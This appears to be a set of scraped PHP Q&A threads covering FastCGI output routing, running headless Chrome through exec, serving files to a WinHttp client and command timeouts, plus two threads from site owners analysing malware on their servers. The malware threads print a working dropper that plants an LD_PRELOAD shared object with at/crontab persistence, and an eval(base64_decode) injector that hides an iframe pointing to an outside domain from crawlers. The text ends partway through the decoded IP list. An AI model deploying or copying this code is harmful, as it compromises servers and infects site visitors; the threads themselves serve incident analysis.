lighttpd with "php fastcgi" send output to console instead of browser - php

I have a php script running as fastcgi server that executes browser-requested php files (why not use php/php-cgi? because of performance issue, we used APC too, but still not good enough):
# cat myphpcgi
#!/usr/local/php5/bin/php
<?php
while (Accept() >= 0) { # simple wrapper of FCGI_Accept from FastCGI dev-kit
$file = GetRequestFile(); # get requested .php file name(like /var/www/htdocs/a.php)
if ($file == FALSE)
continue;
$contents = file_get_contents($file);
if ($contents == FALSE)
continue;
# remove heading <?php and trailing ?>
$contents = ltrim($contents);
$contents = rtrim($contents);
$start = strpos($contents, "<?php");
$start += 5;
$end = strrpos($contents, "?>");
$end -= 2;
$ct = substr($contents, $start, $end);
# execute the requested file
eval($ct);
}
?>
By using above cgi script, function/class libraries will be loaded only once(using
require_once).
The script is started by:
# /usr/local/lighttpd/bin/spawn-fcgi -f /var/www/cgi-bin/myphpcgi -a 127.0.0.1 -p 8888
And lighttpd is configured like this:
...
fastcgi.server = ( ".php" =>
("localhost" =>
( "host" => "127.0.0.1",
"port" => 8888,
)
)
)
...
But when browser asking for a.php as below:
<?php
require_once "bigfunction.php"
echo "haha";
printf("hehe");
?>
The cgi script outputs "hahahehe" to the system console instead of to the browser.
# hahahehe
If I wrapper the FCGI_printf function (from FastCGI devkit too) and use it to print out
strings, the result will be sent to the browser, this is a solution, but existing code will need to make changes.
I've also tested with Apache and the output simply goes to apache's error_log. Maybe a
dup2() will solve the problem but I didn't find the fd that FastCGI devkit uses.
P.S. __autoload won't save our time as most of includes are functions and constants.
P.S.2 dup2() won't solve the problem:
from the output of strace of the cgi script:
write(1, "haha", 4haha) = 4
write(1, "hehe\n", 5hehe) = 5
write(3, "\1\6\0\1\0\0\0\0\1\3\0\1\0\10\0\0\0\0\0\0\0\0\0\0", 24) = 24
shutdown(3, 1 /* send */)
where fd 3 is the connection with lighttpd, when I added dup2(3, 1), got 500 error on browser, and lighttpd's log shows:
2011-05-24 13:09:54: (mod_fastcgi.c.2443) unexpected end-of-file (perhaps the fastcgi process died): pid: 0 socket: tcp:127.0.0.1:8888
2011-05-24 13:09:54: (mod_fastcgi.c.3237) response not received, request sent: 834 on socket: tcp:127.0.0.1:8888 for /large.php , closing connection
P.S.3: code for Accept():
PHP_FUNCTION(Accept)
{
int n = FCGI_Accept();
RETVAL_LONG(n);
return;
}
code for GetRequestFile():
PHP_FUNCTION(GetRequestFile)
{
char buf[1024];
char *p = NULL;
int ret;
// apache and lighttpd has different name
p = getenv("PATH_TRANSLATED");
if (p == NULL) {
p = getenv("SCRIPT_FILENAME");
if (p == NULL) {
RETVAL_BOOL(0);
return;
}
}
memcpy(buf, p, strlen(p));
buf[strlen(p)] = '\0';
RETVAL_STRINGL(buf, strlen(buf), 1);
//dup2(3, 1);
return;
}
P.S.4 When add a wrapper for FCGI_printf like below:
PHP_FUNCTION(Myprintf)
{
char *str;
int str_len;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &str, &str_len) == FAILURE) {
return;
}
char *p = emalloc(str_len + 1);
memcpy(p, str, str_len);
p[str_len] = '\0';
FCGI_printf("%s", p);
efree(p);
return;
}
Using Myprintf() to print strings, when myphpcgi works together with apache, it works fine and the string is displayed on the browser. But when using lighttpd, the string goes nowhere, interesting...

You don't need to write the FCGI wrapper yourself to offer FCGI for PHP.
Instead you should use the existing wrapper to execute PHP scripts as FCGI. It works with any existing PHP code.
Instead of eval, just include the file:
# remove heading <?php and trailing ?>
include($file);
Probably this ensures that require_once will work as expected.

#hakre Finally this problem is solved by hacking phpsrc/sapi/cgi/cgi_main.c.
The reason is that php's echo and printf functions' behavior are controlled
by different sapis, like cgi, cli, the sapi determines where the destination
is. Modules are not able to change the destination.
In cgi_main.c, the original work flow is:
listen();
while (req = accept()) {
php_request_start();
php_execute_script();
php_request_shutdown();
}
All I did is move the request start and shutdown out of the while loop,
listen();
php_request_start();
while (req = accept()) {
php_execute_script();
}
php_request_shutdown();
It works fine and the "require_onced-files" will be loaded only once.

Related

Running Google Chrome headless with PHP exec doesn’t return output till IIS restarted

My environment is Windows Server 2016 and IIS 10. In my PHP script I’m trying to run Google Chrome in a headless mode to get html code of an external web page:
<?php
$chromeApp = "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe";
$command = "\"$chromeApp\" --headless --disable-gpu \
--dump-dom $urladdress > page.html";
exec ($command);
?>
That code works if I run
>C:\php script.php
from the Command line. It also works if I run the actual command:
>"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" \
--headless --disable-gpu --dump-dom https://google.com > page.html
But if I run that script from a browser it creates empty page.html file and hungs till timeout. However if I restart IIS during its execution I get the page.html file filled with the needed data.
What could be a problem here?
this is not an answer, but too much to put in a comment, exec() doesn't really give much feedback,
first don't do this:
$command = "\"$chromeApp\" ";
because different shells can't agree on how stuff should be quoted, so you should use the escapeshellarg() function instead, also don't do this
--dump-dom $urladdress > page.html
because $urladdress may need to be escaped (and if hackers are able to control your $urladdress, then this is actually an arbitrary code execution vulnerability), do this instead:
$command = escapeshellarg($chromeApp)." --headless --disable-gpu \
--dump-dom ".escapeshellarg($urladdress)." > page.html";
(and if your page.html may have names with special characters too, you should run that name through escapeshellarg() as well.)
but replace exec() with proc_open, tell me what you get from running this:
<?php
declare(strict_types=1);
$urladdress="http://google.com";
$chromeApp = _cygwinify_filepath("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe");
$command = escapeshellarg($chromeApp)." --headless --disable-gpu --dump-dom ".escapeshellarg($urladdress);
$descriptorspec = array(
0 => array("pipe", "rb"), // by default stdin is inherited, we don't want that so we create a stdin pipe just so we can fclose() it.
1 => array("pipe", "wb"), // stdout
2 => array("pipe", "wb"), // stderr
);
$proc=proc_open($command,$descriptorspec,$pipes);
if(!$proc){
throw new \RuntimeException("failed to create process! \"{$command}\"");
}
$stdout="";
$stderr="";
$fetch=function()use(&$stdout,&$stderr,&$pipes){
$tmp=stream_get_contents($pipes[1]);
if(is_string($tmp) && strlen($tmp) > 0){
$stdout.=$tmp;
}
$tmp=stream_get_contents($pipes[2]);
if(is_string($tmp) && strlen($tmp) > 0){
$stderr.=$tmp;
}
};
fclose($pipes[0]);
$status=array();
while(($status=proc_get_status($proc))['running']){
$fetch();
}
$fetch();
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
var_dump($stdout,$stderr,$status);
function _uncygwinify_filepath(string $path) : string
{
static $is_cygwin_cache = null;
if ($is_cygwin_cache === null) {
$is_cygwin_cache = (false !== stripos(PHP_OS, "cygwin"));
}
if ($is_cygwin_cache) {
return trim(shell_exec("cygpath -aw " . escapeshellarg($path)));
} else {
return $path;
}
}
function _cygwinify_filepath(string $path) : string
{
static $is_cygwin_cache = null;
if ($is_cygwin_cache === null) {
$is_cygwin_cache = (false !== stripos(PHP_OS, "cygwin"));
}
if ($is_cygwin_cache) {
return trim(shell_exec("cygpath -a " . escapeshellarg($path)));
//return "/cygdrive/" . strtr($path, array(':' => '', '\\' => '/'));
} else {
return $path;
}
}
edit: i wrote use(&$stdout,$stderr,&$pipes) instead of use(&$stdout,&$stderr,&$pipes), sorry, fixed. re-run it if you just ran it without this fix.
You have 4 processes in play here.
W3WP.exe
PHP.exe
CMD.exe
Chrome.exe
CMD.exe is taking the output of Chrome.exe and piping it to your file. It will do that upon completion of Chrome.exe or may do it partially intermittently. When I run similar code to yours above, my Chrome.exe does not finish. I can see Chrome.exe still running in TaskManager consuming 25% CPU (100% on one of my cores).
I'm guessing restarting IIS somehow forces the flush in progress of the commands. In most of my cases, there was data inside the page.html file prior to doing IISReset, thought not all of it. (Windows Explorer showed 0KBs, but opening the file showed data in the file nonetheless).
As for things to try, try at --no-sandbox as an argument as that may be interfering since the process is running under a non-interactive session.

Characters being dropped retrieving files from simple php service using WinHttpReadData

I have a simple php service set up on a IIS web server. It is used by my client to retrieve files from the server. It looks like this:
<?php
if (isset($_GET['file']))
{
$filepath = "C:\\files\\" . $_GET['file'];
if (!strpos(pathinfo($filepath, PATHINFO_DIRNAME), "..") && file_exists($filepath) && !is_dir($filepath))
{
set_time_limit(0);
$fp = #fopen($filepath, "rb");
while(!feof($fp))
{
print(#fread($fp, 1024*8));
ob_flush();
flush();
}
}
else
{
echo "ERROR at www.testserver.com\r\n";
}
exit;
}
?>
I retrieve the files using WinHttp's WinHttpReadData in C++.
EDIT #2: Here is the C++ code. This is not exactly how it appears in my program. I had to pull pieces from multiple classes, but the gist should be apparent.
session = WinHttpOpen(appName.c_str(), WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (session) connection = WinHttpConnect(session, hostName.c_str(), INTERNET_DEFAULT_HTTP_PORT, 0);
if (connection) request = WinHttpOpenRequest(connection, NULL, requestString.c_str(), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
bool results = false;
if (request)
{
results = (WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) != FALSE);
}
if (results)
{
results = (WinHttpReceiveResponse(request, NULL) != FALSE);
}
DWORD bytesCopied = 0;
DWORD size = 0;
if (results)
{
do {
results = (WinHttpQueryDataAvailable(request, &size) != FALSE);
if (results)
{
// More available data?
if (size > 0)
{
// Read the Data.
size = min(bufferSize, size);
ZeroMemory(buffer, size);
results = (WinHttpReadData(request, (LPVOID)buffer, size, &bytesCopied) != FALSE);
}
}
if (bytesCopied > 0 && !SharedShutDown.GetValue())
{
tempFile.write((PCHAR)RequestBuffer, bytesCopied);
if (tempFile.fail())
{
tempFile.close();
return false;
}
fileBytes += bytesCopied;
}
} while (bytesCopied > 0 && !SharedShutDown.GetValue());
}
Everything works fine when I test (thousands of files) over the local network using the server computer name from either a Windows 7 or Windows 10 machine. It also works fine when I access the service over the internet from a Windows 7 machine. However, when I run the client on a Windows 10 machine accessing over the internet, I get dropped characters. The interesting thing is that it is a specific set of characters that gets dropped every time from XML files. (Other, binary, files are affected as well, but I have not yet determined what changes in them.)
If the XML file contains an element starting with "<Style", that text disappears. So, this:
<Element1>blah blah</Element1>
<Style_Element>hoopa hoopa</Style_Element>
<Element2>bip bop bam</Element2>
becomes this:
<Element1>blah blah</Element1>
_Element>hoopa hoopa</Style_Element>
<Element2>bip bop bam</Element2>
Notice that the beginning of the style element is chopped off. This is the only element that is affected, and it seems to only affect the first one if there are more than one in the file.
What perplexes me is why this doesn't happen running the client from Windows 7.
EDIT: Some of the other files, binary and text, are missing from 1 to 3 characters each. It seems that a drop only happens once in a file. The rest of the contents of the file are identical to the source.
I can't make sense of the above read routine, it is also incomplete. Just keep it simple like the example below.
The fact that you are having problems with binary files suggest you are not opening the output tempFile in binary mode.
std::ofstream tempFile(filename, std::ios::binary);
while(WinHttpQueryDataAvailable(request, &size) && size)
{
std::string buf(size, 0);
WinHttpReadData(request, &buf[0], size, &bytesCopied);
tempFile.write(buf.data(), bytesCopied);
}
Your php file can be simplified as follows:
<?php
readfile('whatever.bin');
?>
I solved the problem, it seems. My php service did not include header information (didn't think I needed it), so I figured I would try adding a header specification for content type application/octet-stream just to see what would result. My updated service looked like this:
if (isset($_GET['file']))
{
$filepath = "C:\\Program Files (Unrestricted)\\Sony Online Entertainment\\Everquest Yarko Client\\" . $_GET['file'];
if (!strpos(pathinfo($filepath, PATHINFO_DIRNAME), "..") && file_exists($filepath) && !is_dir($filepath))
{
header("Content-Type:application/octet-stream");
set_time_limit(0);
$fp = #fopen($filepath, "rb");
while(!feof($fp))
{
print(#fread($fp, 1024*8));
ob_flush();
flush();
}
}
else
{
echo "ERROR at www.lewiefitz.com\r\n";
}
exit;
}
Now, the files download without any corruption. Why I need such a header in this situation is beyond me. What part of the system is messing with the response message before it ended up in my buffer? I don't know.

PHP Function Timeout

I'm not an expert with PHP. I have a function which uses EXEC to run WINRS whcih then runs commands on remote servers. The problem is this function is placed into a loop which calls getservicestatus function dozens of times. Sometimes the WINRS command can get stuck or take longer than expected causing the PHP script to time out and throw a 500 error.
Temporarily I've lowered the set timeout value in PHP and created a custom 500 page in IIS and if the referring page is equal to the script name then reload the page (else, throw an error). But this is messy. And obviously it doesn't apply to each time the function is called as it's global. So it only avoids the page stopping at the HTTP 500 error.
What I'd really like to do is set a timeout of 5 seconds on the function itself. I've been searching quite a bit and have been unable to find an answer, even on stackoverflow. Yes, there are similar questions but I have not been able to find any that relate to my function. Perhaps there's a way to do this when executing the command such as an alternative to exec()? I don't know. Ideally I'd like the function to timeout after 5 seconds and return $servicestate as 0.
Code is commented to explain my spaghetti mess. And I'm sorry you have to see it...
function getservicestatus($servername, $servicename, $username, $password)
{
//define start so that if an invalid result is reached the function can be restarted using goto.
start:
//Define command to use to get service status.
$command = 'winrs /r:' . $servername . ' /u:' . $username . ' /p:' . $password . ' sc query ' . $servicename . ' 2>&1';
exec($command, $output);
//Defines the server status as $servicestate which is stored in the fourth part of the command array.
//Then the string "STATE" and any number is stripped from $servicestate. This will leave only the status of the service (e.g. RUNNING or STOPPED).
$servicestate = $output[3];
$strremove = array('/STATE/','/:/','/[0-9]+/','/\s+/');
$servicestate = preg_replace($strremove, '', $servicestate);
//Define an invalid output. Sometimes the array is invalid. Catch this issue and restart the function for valid output.
//Typically this can be caught when the string "SERVICE_NAME" is found in $output[3].
$badservicestate = "SERVICE_NAME" . $servicename;
if($servicestate == $badservicestate) {
goto start;
}
//Service status (e.g. Running, Stopped Disabled) is returned as $servicestate.
return $servicestate;
}
The most straightforward solution, since you are calling an external process, and you actually need its output in your script, is to rewrite exec in terms of proc_open and non-blocking I/O:
function exec_timeout($cmd, $timeout, &$output = '') {
$fdSpec = [
0 => ['file', '/dev/null', 'r'], //nothing to send to child process
1 => ['pipe', 'w'], //child process's stdout
2 => ['file', '/dev/null', 'a'], //don't care about child process stderr
];
$pipes = [];
$proc = proc_open($cmd, $fdSpec, $pipes);
stream_set_blocking($pipes[1], false);
$stop = time() + $timeout;
while(1) {
$in = [$pipes[1]];
$out = [];
$err = [];
stream_select($in, $out, $err, min(1, $stop - time()));
if($in) {
while(!feof($in[0])) {
$output .= stream_get_contents($in[0]);
break;
}
if(feof($in[0])) {
break;
}
} else if($stop <= time()) {
break;
}
}
fclose($pipes[1]); //close process's stdout, since we're done with it
$status = proc_get_status($proc);
if($status['running']) {
proc_terminate($proc); //terminate, since close will block until the process exits itself
return -1;
} else {
proc_close($proc);
return $status['exitcode'];
}
}
$returnValue = exec_timeout('YOUR COMMAND HERE', $timeout, $output);
This code:
uses proc_open to open a child process. We only specify the pipe for the child's stdout, since we have nothing to send to it, and don't care about its stderr output. if you do, you'll have to adjust the following code accordingly.
Loops on stream_select(), which will block for a period up to the $timeout set ($stop - time()).
If there is input, it will var_dump() the contents of the input buffer. This won't block, because we have stream_set_blocking($pipe[1], false) on the pipe. You will likely want to save the content into a variable (appending it rather than overwriting it), rather than printing out.
When we have read the entire file, or we have exceeded our timeout, stop.
Cleanup by closing the process we have opened.
Output is stored in the pass-by-reference string $output. The process's exit code is returned, or -1 in the case of a timeout.

I have been hacked, now I have a weird PHP file. What is it doing?

So I have been hacked a while ago and now I have a weird PHP file in my file manager. This is the content of it:
<?php
#touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = #fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
#system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
$n = unpack("C*", fread($f, 8));
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
$n = file_put_contents("./jquery.so", $so);
$AU=#$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
#file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
#chmod("1.sh", 0777);
#system("at now -f 1.sh", $ret);
if ($ret == 0) {
for ($i = 0; $i < 5; $i++) {
if (! #file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
#system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
for ($i = 0; $i < 62; $i++) {
if (! #file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
#system("./1.sh");
#unlink("1.sh");
?>
Ofcourse, I delete it. But what did it? Are there more files infected?
I understand that it is checking if the system is a 32bit system or 64bit, then it creates 1.sh and executes it but what then?
Full code: http://pastebin.com/hejkuQtV
I tried to analyze the code. Have a look at this and check my comments regarding the shell script "1.sh". In my opinion deleting the PHP script would not be sufficient.
<?php
//probably the attacker wants to check that the script works.
#touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
//redefine file_put_contents if doesn't exist
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = #fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
//kill all running instances of host command. "host" command is used for DNS lookups among other things.
#system("killall -9 ".basename("/usr/bin/host"));
//32 bit
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
//64 bit
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
//decide on the architecture based on the value of max int
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
//the hex based on architecture. "so" probably contains a function() used by "host". The attacker is replacing it later before running "host" command.
$so = $arch == 32 ? $so32 : $so64;
//read 8 bytes from "host" binary file, and unpack it as an unsigned char.
$f = fopen("/usr/bin/host", "rb");
if ($f) {
//n is an array of unsigned chars. Each array item can be (0-255)
$n = unpack("C*", fread($f, 8));
//convert to ascii, and replace the 7th character in the string with a value obtained from "hosts" binary file.
//This vale from "hosts" will be specific to current server/environment - set during compilation/installation.
//NOTE: The contents of "so" string, will be written to a new file "jquery.so".
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
//the shared object
$n = file_put_contents("./jquery.so", $so);
//The shared object "jquery.so" uses an environment variable named "AU". It's more clear later.
$AU=#$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
//should give "host"
$HBN=basename("/usr/bin/host");
//current dir
$SCP=getcwd();
//Examining the following line, here's what it writes to 1.sh
#file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
/*
* #!/bin/sh
* cd '/path/to/1.sh'
* if [ -f './jquery.so' ];then
* killall -9 host;
* export AU='MYSERVER.COM/THE/REQUEST/URI' //this will be referenced in "jquery.so"
* export LD_PRELOAD=./jquery.so //load the shared object before executing "host" command. THIS IS THE CORE OF THE ATTACK. Load the attacker's shared object(which contains his function, lets call it "xyz") before executing "host" command.
* /usr/bin/host //execute. At that point, if "host" is making use of function "xyz", it would have been replaced by malicious "xyz" from "jquery.so" And since you don't know what the attacker function is actually doing, you should assume YOUR SYSTEM IS COMPROMISED.
* unset LD_PRELOAD
* crontab -l|grep -v '1\.sh'|grep -v crontab|crontab //not sure about this.
* fi
* rm 1.sh //remove
* exit 0
*/
#chmod("1.sh", 0777);
#system("at now -f 1.sh", $ret); //execute 1.sh. It will be deleted once it's executed as per the "rm" statement.
if ($ret == 0) {
//try for 5 seconds until the file is deleted (hence executed). If so, then all good.
for ($i = 0; $i < 5; $i++) {
if (! #file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
//another attempt to execute the file in case the above failed.
#system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
//keep trying for 60 seconds until the file is deleted (as per the crontab setup.)
for ($i = 0; $i < 62; $i++) {
if (! #file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
//the last resort if the previous execute attempts didn't work.
#system("./1.sh");
#unlink("1.sh");
?>
Here's a little more info. First, we can use this code to generate the ".so" file.
<?php
//build the attack string (this contains the hex representation of the attacker complied/linked program)
$so32="\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00.....";
//print it. This will output the binary
echo $so32;
?>
//run
php hack.php > jquery.so
At this point, we have the same shared object that the attacker loaded before running "host". Using "strings" command:
$ strings ./jquery.so
Output:
write
unlink
pthread_mutex_lock
pthread_mutex_unlock
gettimeofday
free
realloc
strdup
read
getaddrinfo
freeaddrinfo
socket
setsockopt
connect
malloc
mmap
munmap
usleep
strcmp
dlclose
pthread_join
__errno_location
strncmp
sprintf
strcpy
time
vsnprintf
strcat
strstr
atoi
strchr
dlopen
dlsym
pthread_create
srandom
lseek
ftruncate
umask
setsid
chroot
_exit
signal
fork
dladdr
realpath
getpid
execl
wait
getsockname
getenv
geteuid
unsetenv
popen
fgets
fclose
QQRW
1c2#N
v[uq
M!k(q.%
jc[Sj
F,%s,%x
R,%d,%d,%d,%s,%s,
P,%u,%u,%u,%u,%u
POST %s HTTP/1.0
Host: %s
Pragma: 1337
Content-Length: %d
core
%s/%s
|$$$}rstuvwxyz{$$$$$$$>?#ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
/dev/null
%s/%c.%d
(null)
ROOT
LD_PRELOAD
/usr/bin/uname -a
/tmp
As you can see, his hack seems to be using lots of functions including him doing a POST request somewhere. It's not possible of course to figure it out from the above but gives you some clue.
If you want to take this further, you can look into and ELF decompiler. But I doubt that you will be able to reach anything conclusive. I am not an expert, but my advise is to keep on monitoring your network activity for anything out of the ordinary.
The "file" command gives you a bit of information about the file - hence ELF decomplier.
$ file ./jquery..so
Output:
./jquery.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped

How to get rid of eval-base64_decode like PHP virus files?

My site (very large community website) was recently infected with a virus. Every index.php file was changed so that the opening php tag of these files it was changed to the following line:
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));
When I decoded this, it produced the following PHP code:
<?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
